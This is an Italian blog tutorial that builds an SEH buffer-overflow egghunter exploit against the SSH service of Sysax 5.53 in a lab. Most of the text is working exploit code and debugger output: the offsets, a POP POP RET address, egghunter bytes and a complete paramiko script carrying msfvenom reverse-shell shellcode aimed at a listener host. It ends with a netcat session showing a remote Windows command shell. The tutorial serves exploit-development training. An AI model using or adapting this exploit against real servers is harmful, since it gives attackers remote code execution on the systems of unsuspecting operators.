Egghunter V - Sysax 5.53

Tempo di lettura: 18 minuti
Data pubblicazione: February 11, 2023

Introduzione

Quinto articolo della serie Egghunter Buffer Overflow, target Sysax 5.53

Altri post in questa serie:

  1. Egghunter I - Vulnserver GMON
  2. Egghunter II - freeFTPd 1.0.10
  3. Egghunter III - Vulnserver KSTET
  4. Egghunter IV - TFTP Server 1.4
  5. Egghunter V - Sysax 5.3

L’ordine non è casuale, se non viene spiegato qualche dettaglio è perchè è stato spiegato in articoli precedenti. Consiglio di partire dal primo e proseguire in ordine.

Lab Setup

Per avere un ambiente ad hoc serve:

  • VM con Windows 10 a 32 bit, potete trovarlo qui (se accedete con un computer Windows dovete cambiare l’user agent con Linux/Mac).
  • WinDBG: visto che l’interfaccia di default non è per nulla intuitiva, l’ho modificata partendo da questo tema. Sentitevi liberi di modificarla come preferite.
  • Mona.py: automatizzazione di comandi su windbg. Per installarla su windows 10 a 32 bit ho utilizzato questo script.

Dopo aver caricato mona, ho modificato il salvataggio dei log con il seguente comando:

!py mona config -set workingfolder c:\monalogs\%p_%i

In questo modo ogni volta che creeremo qualcosa con mona, sarà facilmente accessibile.

NB: a meno di vulnerabilità particolari, in questi articoli salteremo l’identificazione della vulnerabilità (che richiede fuzzing o analisi manuale del codice assembly in IDA) ma ci focalizzeremo sullo sfruttamento della stessa. Se siete interessati a questa parte alcuni tool da guardare sono Boofuzz e SPIKE.

NB2: Poichè il bypass di DEP non è oggetto di questo articolo, ho disabilitato le protezioni di Windows (Windows Security -> App & Browser Control -> Exploit Protection Settings -> Program Settings -> Add program to customize -> filename.exe -> DEP, ASLR, CFG, etc disabilitati).

Sysax 5.53

Sysax è un server utilizzato per lo sharing di file. Nel corso degli anni sono state trovate diverse vulnerabilità, in questo articolo approfondiremo lo stack buffer overflow presente sul servizio SSH (che bisogna attivare dalle impostazioni).

Crash Iniziale

Sappiamo che il server va in crash con il seguente comando

import paramiko,os,sys

TARGET_IP = "127.0.0.1"
TARGET_PORT = 22
target = (TARGET_IP, TARGET_PORT) 

CRASH_LEN = 10000  # change me

payload = b"A" * CRASH_LEN

transport = paramiko.Transport(target)	
transport.connect(username = payload, password = "test")	
transport.close()

Divido in due il payload in modo da capire se è tra i primi 5000 o i successivi.

import paramiko,os,sys

TARGET_IP = "127.0.0.1"
TARGET_PORT = 22
target = (TARGET_IP, TARGET_PORT) 

CRASH_LEN = 10000  # change me

payload = b"A" * 5000
payload += b"B" * 5000

transport = paramiko.Transport(target)	
transport.connect(username = payload, password = "test")	
transport.close()

Rilancio

(2b60.41b0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00000000 ecx=01556a00 edx=004a6a00 esi=01556a60 edi=00000001
eip=00404c2a esp=019fcd3c ebp=0000004d iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
sysaxservd+0x4c2a:
00404c2a 8b8094030000    mov     eax,dword ptr [eax+394h] ds:0023:414144d5=????????
0:010> !exchain
019ff768: 42424242
Invalid exception stack at 42424242

Sulla B, quindi tra i successivi.

Identificare l’offset

Per poter redirezionare il flusso di memoria verso un indirizzo di memoria che controlliamo dobbiamo identificare l’offset preciso. Per farlo utilizzeremo pattern_create di mona

!py mona pc 5000

Aggiorniamo lo script

import paramiko,os,sys

TARGET_IP = "127.0.0.1"
TARGET_PORT = 22
target = (TARGET_IP, TARGET_PORT) 

CRASH_LEN = 10000  # change me

payload = b"A" * 5000
payload += b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0…"

transport = paramiko.Transport(target)	
transport.connect(username = payload, password = "test")	
transport.close()

Guardiamo la chain

0:008> !exchain
018df768: 46346b46
Invalid exception stack at 336b4632
0:008> !py mona po 336b4632
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 336b4632
Looking for 2Fk3 in pattern of 500000 bytes
- Pattern 2Fk3 (0x336b4632) found in cyclic pattern at position 4208
Looking for 2Fk3 in pattern of 500000 bytes
..
[+] This mona.py action took 0:00:00.189000
0:008> !py mona po 46346b46
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 46346b46
Looking for Fk4F in pattern of 500000 bytes
- Pattern Fk4F (0x46346b46) found in cyclic pattern at position 4212
Looking for Fk4F in pattern of 500000 bytes
..
[+] This mona.py action took 0:00:00.174000

Quindi NSEH è in posizione 4208 e SEH 4212. Aggiorniamo lo script per confermare la posizione

import paramiko,os,sys

TARGET_IP = "127.0.0.1"
TARGET_PORT = 22
target = (TARGET_IP, TARGET_PORT) 

CRASH_LEN = 10000  # change me
OFFSET = 9208 # 5000 + 4208

payload = b"A" * OFFSET
payload += b"B" * 4
payload += b"C" * 4
payload += b"D" * (CRASH_LEN - len(payload))

transport = paramiko.Transport(target)	
transport.connect(username = payload, password = "test")	
transport.close()

Trovare i bad char

Certi eseguibili eliminano o modificano determinati caratteri, per cui è necessario capire se ci sono caratteri che “rompono” o modificano il nostro shellcode. Per capire quali sono è sufficente inviare tutto il range di caratteri (da \x00 a \xff) e vedere se in qualche modo sono stati eliminati o modificati. Creo quindi su mona i byte che ci servono

!py mona ba -cpb '\x00'

NB: Se non ci fosse spazio per tutti i byte, avremmo potuto crearli utilizzando un range, per esempio:

!py mona ba -s 1 -e 46
!py mona ba -s 47 -e 8c
!py mona ba -s 8d -e d2
!py mona ba -s d3 -e ff

Aggiorniamo lo script di conseguenza (ho eliminato subito \x00 poiché quasi tutti gli eseguibili non lo accettano)

import paramiko,os,sys

TARGET_IP = "127.0.0.1"
TARGET_PORT = 22
target = (TARGET_IP, TARGET_PORT) 

bad_chars  = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
bad_chars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
bad_chars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
bad_chars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
bad_chars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
bad_chars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
bad_chars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
bad_chars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

CRASH_LEN = 10000  # change me
OFFSET = 9208 # 5000 + 4208

payload = b"A" * OFFSET
payload += b"B" * 4
payload += b"C" * 4
payload += bad_chars
payload += b"D" * (CRASH_LEN - len(payload))

transport = paramiko.Transport(target)	
transport.connect(username = payload, password = "test")	
transport.close()

Tramite TEB e l’ExceptionList dumpo l’indirizzo di memoria su cui risiedono per vedere se c’è qualche bad char

0:008> !exchain
0177f768: 43434343
Invalid exception stack at 42424242
0:008> db 0177f768
0177f768  42 42 42 42 43 43 43 43-01 02 03 04 05 06 07 08  BBBBCCCC........
0177f778  09 0a 0b 0c 0d 0e 0f 10-11 12 13 14 15 16 17 18  ................
0177f788  19 1a 1b 1c 1d 1e 1f 20-21 22 23 24 25 26 27 28  ....... !"#$%&'(
0177f798  29 2a 2b 2c 2d 2e 2f 30-31 32 33 34 35 36 37 38  )*+,-./012345678
0177f7a8  39 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  9...............
0177f7b8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0177f7c8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0177f7d8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

Tolgo \x3a e rilancio

0:008> db 0184f768 L110
0184f768  42 42 42 42 43 43 43 43-01 02 03 04 05 06 07 08  BBBBCCCC........
0184f778  09 0a 0b 0c 0d 0e 0f 10-11 12 13 14 15 16 17 18  ................
0184f788  19 1a 1b 1c 1d 1e 1f 20-21 22 23 24 25 26 27 28  ....... !"#$%&'(
0184f798  29 2a 2b 2c 2d 2e 2f 30-31 32 33 34 35 36 37 38  )*+,-./012345678
0184f7a8  39 3b 3c 3d 3e 3f 40 41-42 43 44 45 46 47 48 49  9;<=>?@ABCDEFGHI
0184f7b8  4a 4b 4c 4d 4e 4f 50 51-52 53 54 55 56 57 58 59  JKLMNOPQRSTUVWXY
0184f7c8  5a 5b 5c 5d 5e 5f 60 61-62 63 64 65 66 67 68 69  Z[\]^_`abcdefghi
0184f7d8  6a 6b 6c 6d 6e 6f 70 71-72 73 74 75 76 77 78 79  jklmnopqrstuvwxy
0184f7e8  7a 7b 7c 7d 7e 7f 80 81-82 83 84 85 86 87 88 89  z{|}~...........
0184f7f8  8a 8b 8c 8d 8e 8f 90 91-92 93 94 95 96 97 98 99  ................
0184f808  9a 9b 9c 9d 9e 9f a0 a1-a2 a3 a4 a5 a6 a7 a8 a9  ................
0184f818  aa ab ac ad ae af b0 b1-b2 b3 b4 b5 b6 b7 b8 b9  ................
0184f828  ba bb bc bd be bf c0 c1-c2 c3 c4 c5 c6 c7 c8 c9  ................
0184f838  ca cb cc cd ce cf d0 d1-d2 d3 d4 d5 d6 d7 d8 d9  ................
0184f848  da db dc dd de df e0 e1-e2 e3 e4 e5 e6 e7 e8 e9  ................
0184f858  ea eb ec ed ee ef f0 f1-f2 f3 f4 f5 f6 f7 f8 f9  ................
0184f868  fa fb fc fd fe ff 44 44-44 44 44 44 44 44 44 44  ......DDDDDDDDDD

Ottimo, l’unico bad char è \x3a.

POP POP RET

Cerco un PPR con mona

0:008> !py mona seh -cpb '\x3a'
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py seh -cpb '\x3a'

---------- Mona command started on 2022-09-17 10:36:41 (v2.0, rev 616) ----------
.....
[+] Results : 
0x00401684 |   0x00401684 : add esp,8 # ret 0x04 | startnull {PAGE_EXECUTE_READ} [sysaxservd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.53.0.0 (C:\Program Files\SysaxServer\sysaxservd.exe)
0x00414ba6 |   0x00414ba6 : add esp,8 # ret 0x04 | startnull {PAGE_EXECUTE_READ} [sysaxservd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.53.0.0 (C:\Program Files\SysaxServer\sysaxservd.exe)
0x00414bb9 |   0x00414bb9 : add esp,8 # ret 0x04 | startnull {PAGE_EXECUTE_READ} [sysaxservd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.53.0.0 (C:\Program Files\SysaxServer\sysaxservd.exe)
0x00414ea2 |   0x00414ea2 : add esp,8 # ret 0x04 | startnull {PAGE_EXECUTE_READ} [sysaxservd.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.53.0.0 (C:\Program Files\SysaxServer\sysaxservd.exe)
0x00414f24 |   0x00414f24 : add esp,8 # ret 0x04 | startnull,ascii

Prendo il primo, lo inserisco insieme al solito short jump 8 e metto un breakpoint su 0x00401684. Probabilmente dovremo fare come gli scorsi e saltare indietro, visto che il SEH termina con \x00.

import paramiko,os,sys
import struct

TARGET_IP = "127.0.0.1"
TARGET_PORT = 22
target = (TARGET_IP, TARGET_PORT) 

#\x00\x3a
CRASH_LEN = 10000  # change me
OFFSET = 9208 # 5000 + 4208

payload = b"A" * OFFSET
payload += struct.pack("<I",0x06eb9090) # jmp 8
payload += struct.pack("<I",0x00401684) # PPR
payload += b"D" * (CRASH_LEN - len(payload))

transport = paramiko.Transport(target)	
transport.connect(username = payload, password = "test")	
transport.close()

Vediamo con WinDBG

0:008> bp 0x00401684
0:008> g
RPC:  Using rpcns4.dll.  The dll is no longer supported.
(db0.353c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00000000 ecx=014a6a00 edx=002a6a00 esi=014a6a60 edi=00000001
eip=00404c2a esp=0174cd3c ebp=0000004d iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
sysaxservd+0x4c2a:
00404c2a 8b8094030000    mov     eax,dword ptr [eax+394h] ds:0023:414144d5=????????
0:008> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=00401684 edx=77115b10 esi=00000000 edi=00000000
eip=00401684 esp=0174c7c0 ebp=0174c7e0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
sysaxservd+0x1684:
00401684 83c408          add     esp,8
0:008> p
eax=00000000 ebx=00000000 ecx=00401684 edx=77115b10 esi=00000000 edi=00000000
eip=00401687 esp=0174c7c8 ebp=0174c7e0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
sysaxservd+0x1687:
00401687 c20400          ret     4
0:008> p
eax=00000000 ebx=00000000 ecx=00401684 edx=77115b10 esi=00000000 edi=00000000
eip=0174f768 esp=0174c7d0 ebp=0174c7e0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
0174f768 90              nop
0:008> p
eax=00000000 ebx=00000000 ecx=00401684 edx=77115b10 esi=00000000 edi=00000000
eip=0174f769 esp=0174c7d0 ebp=0174c7e0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
0174f769 90              nop
0:008> p
eax=00000000 ebx=00000000 ecx=00401684 edx=77115b10 esi=00000000 edi=00000000
eip=0174f76a esp=0174c7d0 ebp=0174c7e0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
0174f76a eb06            jmp     0174f772
0:008> db 0174f772
0174f772  f8 d5 fe ff ff ff f8 fb-74 01 7b 25 10 77 c0 4b  ........t.{%.w.K
0174f782  41 00 a0 6b 4a 01 00 00-00 00 01 00 00 00 17 00  A..kJ...........
0174f792  01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0174f7a2  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

Ci accorgiamo che dopo il PPR non c’è più nulla. Questo perché l’indirizzo contiene \x00 e elimina tutto ciò che viene dopo. Possiamo però modificare il flusso in maniera diversa, ossia quella di inserire uno short jump invece che in avanti di 8, indietro di 100.

Egghunter

Calcolo l’opcode

nasm > jmp short -100
00000000  EB9A              jmp short 0xffffff9c

Aggiorno lo script

import paramiko,os,sys
import struct

TARGET_IP = "127.0.0.1"
TARGET_PORT = 22
target = (TARGET_IP, TARGET_PORT) 

#\x00\x3a
CRASH_LEN = 10000  # change me
OFFSET = 9208 # 5000 + 4208

payload = b"A" * (OFFSET - 100)
payload += b"B" * 100
payload += struct.pack("<I",0x9aeb9090) # jmp -100
payload += struct.pack("<I",0x00401684) # PPR
payload += b"D" * (CRASH_LEN - len(payload))

transport = paramiko.Transport(target)	
transport.connect(username = payload, password = "test")	
transport.close()

Vediamo con WinDBG

0:008> bp 0x00401684
0:008> g
RPC:  Using rpcns4.dll.  The dll is no longer supported.
(3e2c.3178): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=00000000 ecx=014e6a00 edx=002a6a00 esi=014e6a60 edi=00000001
eip=00404c2a esp=0178cd3c ebp=0000004d iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
sysaxservd+0x4c2a:
00404c2a 8b8094030000    mov     eax,dword ptr [eax+394h] ds:0023:414144d5=????????

0:008> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=00401684 edx=77115b10 esi=00000000 edi=00000000
eip=00401684 esp=0178c7c0 ebp=0178c7e0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
sysaxservd+0x1684:
00401684 83c408          add     esp,8

0:008> p
eax=00000000 ebx=00000000 ecx=00401684 edx=77115b10 esi=00000000 edi=00000000
eip=00401687 esp=0178c7c8 ebp=0178c7e0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
sysaxservd+0x1687:
00401687 c20400          ret     4

0:008> p
eax=00000000 ebx=00000000 ecx=00401684 edx=77115b10 esi=00000000 edi=00000000
eip=0178f768 esp=0178c7d0 ebp=0178c7e0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
0178f768 90              nop

0:008> p
eax=00000000 ebx=00000000 ecx=00401684 edx=77115b10 esi=00000000 edi=00000000
eip=0178f769 esp=0178c7d0 ebp=0178c7e0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
0178f769 90              nop

0:008> p
eax=00000000 ebx=00000000 ecx=00401684 edx=77115b10 esi=00000000 edi=00000000
eip=0178f76a esp=0178c7d0 ebp=0178c7e0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
0178f76a eb9a            jmp     0178f706

0:008> db 0178f706
0178f706  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0178f716  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0178f726  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0178f736  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0178f746  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0178f756  42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42  BBBBBBBBBBBBBBBB
0178f766  42 42 90 90 eb 9a 84 16-40 00 45 95 f4 55 fe ff  BB......@.E..U..
0178f776  ff ff f8 fb 78 01 7b 25-10 77 c0 4b 41 00 a0 6b  ....x.{%.w.KA..k

0:008> ? ((0178f766+1)-0178f706)
Evaluate expression: 97 = 00000061

Ed ecco che ho 97 byte disponibili per inserire il mio egghunter. Vado a crearlo con il solito script.

import paramiko,os,sys
import struct

TARGET_IP = "127.0.0.1"
TARGET_PORT = 22
target = (TARGET_IP, TARGET_PORT) 

#\x00\x3a
CRASH_LEN = 10000  # change me
OFFSET = 9208 # 5000 + 4208

egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc6\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x63\x30\x64\x33\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"

payload = b"A" * (OFFSET - 100)
payload += b"\x90" * (100 - len(egghunter))
payload += egghunter
payload += struct.pack("<I",0x9aeb9090) # jmp -100
payload += struct.pack("<I",0x00401684) # PPR
payload += b"D" * (CRASH_LEN - len(payload))

transport = paramiko.Transport(target)	
transport.connect(username = payload, password = "test")	
transport.close()

E sembra che ci sia tutto

0:008> db 0180f706 L100
0180f706  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0180f716  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0180f726  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0180f736  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 66  ...............f
0180f746  81 ca ff 0f 42 52 31 c0-66 05 c6 01 cd 2e 3c 05  ....BR1.f.....<.
0180f756  5a 74 ec b8 63 30 64 33-89 d7 af 75 e7 af 75 e4  Zt..c0d3...u..u.
0180f766  ff e7 90 90 eb 9a 84 16-40 00 80 8a 68 0c fe ff  ........@...h...
0180f776  ff ff f8 fb 80 01 7b 25-10 77 c0 4b 41 00 a0 6b  ......{%.w.KA..k
0180f786  56 01 00 00 00 00 01 00-00 00 17 00 01 00 00 00  V...............

Exploit

Ora non ci rimane che:

  1. Inserire il tag c0d3c0d3 all’inizio del payload
  2. Aggiungere lo shellcode
  3. Metterci in ascolto sulla porta dalla kali

Ricordo che con il debugger attaccato l’egghunter potrebbe non funzionare, quindi è meglio fare senza.

Aggiorniamo ed eseguiamo lo script

import paramiko,os,sys
import struct

TARGET_IP = "127.0.0.1"
TARGET_PORT = 22
target = (TARGET_IP, TARGET_PORT) 

#\x00\x3a
CRASH_LEN = 10000  # change me
OFFSET = 9208 # 5000 + 4208

egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc6\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x63\x30\x64\x33\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789  -f python -v shellcode -b '\x00\x3a' EXITFUNC=thread
shellcode =  b""
shellcode += b"\xdb\xd1\xb8\x8f\x2f\xfe\x3d\xd9\x74\x24\xf4"
shellcode += b"\x5a\x31\xc9\xb1\x52\x31\x42\x17\x83\xc2\x04"
shellcode += b"\x03\xcd\x3c\x1c\xc8\x2d\xaa\x62\x33\xcd\x2b"
shellcode += b"\x03\xbd\x28\x1a\x03\xd9\x39\x0d\xb3\xa9\x6f"
shellcode += b"\xa2\x38\xff\x9b\x31\x4c\x28\xac\xf2\xfb\x0e"
shellcode += b"\x83\x03\x57\x72\x82\x87\xaa\xa7\x64\xb9\x64"
shellcode += b"\xba\x65\xfe\x99\x37\x37\x57\xd5\xea\xa7\xdc"
shellcode += b"\xa3\x36\x4c\xae\x22\x3f\xb1\x67\x44\x6e\x64"
shellcode += b"\xf3\x1f\xb0\x87\xd0\x2b\xf9\x9f\x35\x11\xb3"
shellcode += b"\x14\x8d\xed\x42\xfc\xdf\x0e\xe8\xc1\xef\xfc"
shellcode += b"\xf0\x06\xd7\x1e\x87\x7e\x2b\xa2\x90\x45\x51"
shellcode += b"\x78\x14\x5d\xf1\x0b\x8e\xb9\x03\xdf\x49\x4a"
shellcode += b"\x0f\x94\x1e\x14\x0c\x2b\xf2\x2f\x28\xa0\xf5"
shellcode += b"\xff\xb8\xf2\xd1\xdb\xe1\xa1\x78\x7a\x4c\x07"
shellcode += b"\x84\x9c\x2f\xf8\x20\xd7\xc2\xed\x58\xba\x8a"
shellcode += b"\xc2\x50\x44\x4b\x4d\xe2\x37\x79\xd2\x58\xdf"
shellcode += b"\x31\x9b\x46\x18\x35\xb6\x3f\xb6\xc8\x39\x40"
shellcode += b"\x9f\x0e\x6d\x10\xb7\xa7\x0e\xfb\x47\x47\xdb"
shellcode += b"\xac\x17\xe7\xb4\x0c\xc7\x47\x65\xe5\x0d\x48"
shellcode += b"\x5a\x15\x2e\x82\xf3\xbc\xd5\x45\x3c\xe8\xd4"
shellcode += b"\xa9\xd4\xeb\xd6\xcb\xa1\x65\x30\x81\xb9\x23"
shellcode += b"\xeb\x3e\x23\x6e\x67\xde\xac\xa4\x02\xe0\x27"
shellcode += b"\x4b\xf3\xaf\xcf\x26\xe7\x58\x20\x7d\x55\xce"
shellcode += b"\x3f\xab\xf1\x8c\xd2\x30\x01\xda\xce\xee\x56"
shellcode += b"\x8b\x21\xe7\x32\x21\x1b\x51\x20\xb8\xfd\x9a"
shellcode += b"\xe0\x67\x3e\x24\xe9\xea\x7a\x02\xf9\x32\x82"
shellcode += b"\x0e\xad\xea\xd5\xd8\x1b\x4d\x8c\xaa\xf5\x07"
shellcode += b"\x63\x65\x91\xde\x4f\xb6\xe7\xde\x85\x40\x07"
shellcode += b"\x6e\x70\x15\x38\x5f\x14\x91\x41\xbd\x84\x5e"
shellcode += b"\x98\x05\xa4\xbc\x08\x70\x4d\x19\xd9\x39\x10"
shellcode += b"\x9a\x34\x7d\x2d\x19\xbc\xfe\xca\x01\xb5\xfb"
shellcode += b"\x97\x85\x26\x76\x87\x63\x48\x25\xa8\xa1"

payload = b"c0d3c0d3" #8 bytes
payload += shellcode
payload += b"A" * (OFFSET - 100 - 8 - len(shellcode))
payload += b"\x90" * (100 - len(egghunter))
payload += egghunter
payload += struct.pack("<I",0x9aeb9090) # jmp -100
payload += struct.pack("<I",0x00401684) # PPR
payload += b"D" * (CRASH_LEN - len(payload))


transport = paramiko.Transport(target)	
transport.connect(username = payload, password = "test")	
transport.close()

Ed ecco la nostra shell

kali@kali:~$ nc -nlvp 6789
listening on [any] 6789 ...
connect to [192.168.1.60] from (UNKNOWN) [192.168.1.14] 1400
Microsoft Windows [Version 10.0.19044.1706]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>

Conclusioni

Alcune risorse utili:

  1. http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
  2. https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
  3. https://fuzzysecurity.com/tutorials/expDev/4.html
  4. https://www.secpod.com/blog/hunting-the-egg-egg-hunter/
  5. https://sec4us.com.br/cheatsheet/bufferoverflow-egghunting
  6. https://github.com/epi052/osed-scripts/blob/main/egghunter.py